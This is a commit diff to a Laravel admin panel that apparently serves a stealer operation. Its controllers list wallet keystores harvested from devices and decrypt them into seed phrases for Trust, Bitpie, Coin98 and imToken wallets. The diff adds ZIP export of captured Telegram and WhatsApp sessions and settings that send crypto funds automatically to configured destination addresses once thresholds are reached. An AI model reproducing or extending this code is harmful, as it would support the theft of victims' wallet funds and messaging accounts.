fix: keystore
This commit is contained in:
@@ -679,10 +679,27 @@ class DeviceController extends Controller
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$cols = WalletKeystore::listColumns();
|
||||
$paginator = $device->keystores()->select($cols)->orderBy($field, $order)->paginate($limit, $cols, 'page', $page);
|
||||
|
||||
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
|
||||
// LENGTH(raw_json) forces MySQL to read large blobs during sort.
|
||||
// Step 1: get paginated IDs ordered by the sort field (no blob access).
|
||||
// Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only.
|
||||
$idQuery = $device->keystores()->orderBy($field, $order);
|
||||
$total = $idQuery->toBase()->getCountForPagination();
|
||||
$page = max(1, $page);
|
||||
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||
|
||||
$rows = count($ids) > 0
|
||||
? WalletKeystore::query()
|
||||
->whereIn('id', $ids)
|
||||
->select(WalletKeystore::listColumnsLight())
|
||||
->get()
|
||||
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
|
||||
->values()
|
||||
: collect();
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
|
||||
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
|
||||
$stats = $row->listStats();
|
||||
|
||||
return [
|
||||
@@ -692,13 +709,15 @@ class DeviceController extends Controller
|
||||
'kind' => $stats['kind'],
|
||||
'item_count' => $stats['item_count'],
|
||||
'summary' => $stats['summary'],
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
return $this->layuiPage($total, $data);
|
||||
}
|
||||
|
||||
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
|
||||
@@ -730,7 +749,8 @@ class DeviceController extends Controller
|
||||
|
||||
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$note = $device->notes()->orderByDesc('id')->first();
|
||||
$noteId = $device->notes()->orderByDesc('id')->value('id');
|
||||
$note = $noteId !== null ? Note::query()->find($noteId) : null;
|
||||
$items = $note ? $note->items() : [];
|
||||
if (strtolower($order) === 'asc') {
|
||||
$items = array_reverse($items);
|
||||
|
||||
@@ -51,7 +51,7 @@ class KeystoreController extends Controller
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$cols = array_merge(WalletKeystore::listColumns(), [
|
||||
$cols = array_merge(WalletKeystore::listColumnsLight(), [
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
@@ -60,18 +60,33 @@ class KeystoreController extends Controller
|
||||
'limit' => $limit,
|
||||
'mem' => memory_get_usage(true),
|
||||
]);
|
||||
$paginator = $q->paginate($limit, $cols, 'page', $page);
|
||||
|
||||
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
|
||||
// LENGTH(raw_json) in the select list forces MySQL to read large
|
||||
// blobs during the ORDER BY sort, overflowing the sort buffer.
|
||||
// Step 1: get paginated IDs (no blob access).
|
||||
// Step 2: fetch light columns for those IDs only.
|
||||
$total = $q->toBase()->getCountForPagination();
|
||||
$ids = $q->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||
|
||||
$rows = count($ids) > 0
|
||||
? WalletKeystore::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||
->whereIn('wallet_keystores.id', $ids)
|
||||
->select($cols)
|
||||
->get()
|
||||
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
|
||||
->values()
|
||||
: collect();
|
||||
|
||||
Log::info('keystore.list.data.page', [
|
||||
'total' => $paginator->total(),
|
||||
'ids' => collect($paginator->items())->pluck('id')->all(),
|
||||
'sizes' => collect($paginator->items())->mapWithKeys(
|
||||
static fn (WalletKeystore $row) => [$row->id => (int) ($row->raw_json_len ?? 0)]
|
||||
)->all(),
|
||||
'total' => $total,
|
||||
'ids' => $rows->pluck('id')->all(),
|
||||
'mem' => memory_get_usage(true),
|
||||
]);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
|
||||
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
|
||||
return $this->rowPayload($row, $portal);
|
||||
})->values();
|
||||
Log::info('keystore.list.data.done', [
|
||||
@@ -83,7 +98,7 @@ class KeystoreController extends Controller
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'count' => $total,
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
@@ -122,6 +137,45 @@ class KeystoreController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the full keystore raw_json with sensitive fields masked,
|
||||
* so the admin can inspect the plaintext structure (wallet names,
|
||||
* addresses, timestamps, version info, etc.) without exposing
|
||||
* encrypted blobs or private keys.
|
||||
*/
|
||||
public function detail(WalletKeystore $keystore)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n');
|
||||
Log::info('keystore.detail.start', [
|
||||
'id' => $keystore->id,
|
||||
'raw_json_len' => $len,
|
||||
'mem' => memory_get_usage(true),
|
||||
]);
|
||||
$masked = $keystore->maskedDetail();
|
||||
Log::info('keystore.detail.done', [
|
||||
'id' => $keystore->id,
|
||||
'raw_json_len' => $len,
|
||||
'mem' => memory_get_usage(true),
|
||||
'peak' => memory_get_peak_usage(true),
|
||||
]);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => [
|
||||
'id' => $keystore->id,
|
||||
'source' => $keystore->sourceLabel(),
|
||||
'decrypted' => (int) $keystore->decrypted,
|
||||
'kind' => $keystore->kindLabel(),
|
||||
'detail' => $masked,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
@@ -166,6 +220,7 @@ class KeystoreController extends Controller
|
||||
'utc' => $counts['utc'],
|
||||
'passwords' => $counts['passwords'],
|
||||
'entropy' => $counts['entropy'],
|
||||
'coin98' => $counts['coin98'] ?? 0,
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -186,9 +241,11 @@ class KeystoreController extends Controller
|
||||
'kind' => $stats['kind'],
|
||||
'item_count' => $stats['item_count'],
|
||||
'summary' => $stats['summary'],
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
];
|
||||
}
|
||||
@@ -201,6 +258,7 @@ class KeystoreController extends Controller
|
||||
$utc = (int) $counts['utc'];
|
||||
$passwords = (int) $counts['passwords'];
|
||||
$entropy = (int) $counts['entropy'];
|
||||
$coin98 = (int) ($counts['coin98'] ?? 0);
|
||||
if ($utc === 0 && $passwords > 0) {
|
||||
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
|
||||
}
|
||||
@@ -217,8 +275,11 @@ class KeystoreController extends Controller
|
||||
if ($entropy > 0) {
|
||||
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
|
||||
}
|
||||
if ($coin98 > 0) {
|
||||
return '有 Coin98 WALLET_SECURE_BACKUP,但未能解析助记词';
|
||||
}
|
||||
|
||||
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)';
|
||||
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy,Coin98 需要 WALLET_SECURE_BACKUP,imToken 需要密码)';
|
||||
}
|
||||
|
||||
private function keystoreAllowed(WalletKeystore $keystore): bool
|
||||
|
||||
@@ -26,6 +26,7 @@ class PageVisitController extends Controller
|
||||
return view('admin.visits.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'countries' => CfIpCountry::names(),
|
||||
]);
|
||||
}
|
||||
|
||||
|
||||
@@ -74,6 +74,95 @@ class PluginSessionController extends Controller
|
||||
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Bulk export all sessions matching the current filter as a ZIP.
|
||||
* Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor
|
||||
* so memory stays flat regardless of row count or payload size.
|
||||
*/
|
||||
public function export(Request $request)
|
||||
{
|
||||
$kind = (int) $request->query('kind', PluginSession::KIND_TELEGRAM) === PluginSession::KIND_WHATSAPP
|
||||
? PluginSession::KIND_WHATSAPP
|
||||
: PluginSession::KIND_TELEGRAM;
|
||||
|
||||
$q = $this->baseQuery($request, $kind);
|
||||
$total = $q->count();
|
||||
if ($total === 0) {
|
||||
return response()->json(['code' => 1, 'msg' => '没有可导出的数据'], 422);
|
||||
}
|
||||
if ($total > 2000) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '数据量过大('.$total.' 条,上限 2000),请缩小筛选条件后再导出',
|
||||
], 422);
|
||||
}
|
||||
|
||||
$label = $kind === PluginSession::KIND_WHATSAPP ? 'ws' : 'tg';
|
||||
$zipName = $label.'-sessions-'.date('Ymd-His').'.zip';
|
||||
|
||||
return response()->streamDownload(function () use ($q, $label) {
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'coruna_export_');
|
||||
if ($tmp === false) {
|
||||
echo '{}';
|
||||
|
||||
return;
|
||||
}
|
||||
$zip = new \ZipArchive();
|
||||
if (! $zip->open($tmp, \ZipArchive::CREATE | \ZipArchive::OVERWRITE)) {
|
||||
@unlink($tmp);
|
||||
echo '{}';
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$usedNames = [];
|
||||
foreach ($q->cursor() as $row) {
|
||||
/** @var PluginSession $row */
|
||||
$base = $row->downloadFilename();
|
||||
// Ensure unique filename inside the ZIP.
|
||||
$name = $base;
|
||||
$n = 2;
|
||||
while (isset($usedNames[$name])) {
|
||||
$name = pathinfo($base, PATHINFO_FILENAME).'-'.$n.'.json';
|
||||
$n++;
|
||||
}
|
||||
$usedNames[$name] = true;
|
||||
|
||||
$path = $row->payloadPath();
|
||||
if ($path !== null && Storage::disk('local')->exists($path)) {
|
||||
// addFile streams from disk — payload never enters PHP memory.
|
||||
$abs = Storage::disk('local')->path($path);
|
||||
if (is_string($abs) && $abs !== '' && is_file($abs)) {
|
||||
$zip->addFile($abs, $name);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: encode the DB payload (always small — it's a summary).
|
||||
$json = json_encode(
|
||||
$row->fullPayload(),
|
||||
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
|
||||
);
|
||||
$zip->addFromString($name, $json === false ? '{}' : $json);
|
||||
}
|
||||
|
||||
$zip->close();
|
||||
|
||||
// Stream the temp file in small chunks, then clean up.
|
||||
$fp = fopen($tmp, 'rb');
|
||||
if (is_resource($fp)) {
|
||||
while (! feof($fp)) {
|
||||
echo fread($fp, 65536);
|
||||
}
|
||||
fclose($fp);
|
||||
}
|
||||
@unlink($tmp);
|
||||
}, $zipName, [
|
||||
'Content-Type' => 'application/zip',
|
||||
'X-Export-Count' => (string) $total,
|
||||
]);
|
||||
}
|
||||
|
||||
private function page(string $kind)
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
|
||||
@@ -46,6 +46,9 @@ class SystemSettingsController extends Controller
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'transfer_to_address' => ['nullable', 'string', 'max:128'],
|
||||
'transfer_to_address_eth' => ['nullable', 'string', 'max:128'],
|
||||
'transfer_to_address_btc' => ['nullable', 'string', 'max:128'],
|
||||
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
|
||||
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
|
||||
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
|
||||
@@ -81,6 +84,9 @@ class SystemSettingsController extends Controller
|
||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||
'transfer.to_address' => $threshold($data['transfer_to_address'] ?? null) ?? '',
|
||||
'transfer.to_address_eth' => $threshold($data['transfer_to_address_eth'] ?? null) ?? '',
|
||||
'transfer.to_address_btc' => $threshold($data['transfer_to_address_btc'] ?? null) ?? '',
|
||||
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||
|
||||
Reference in New Issue
Block a user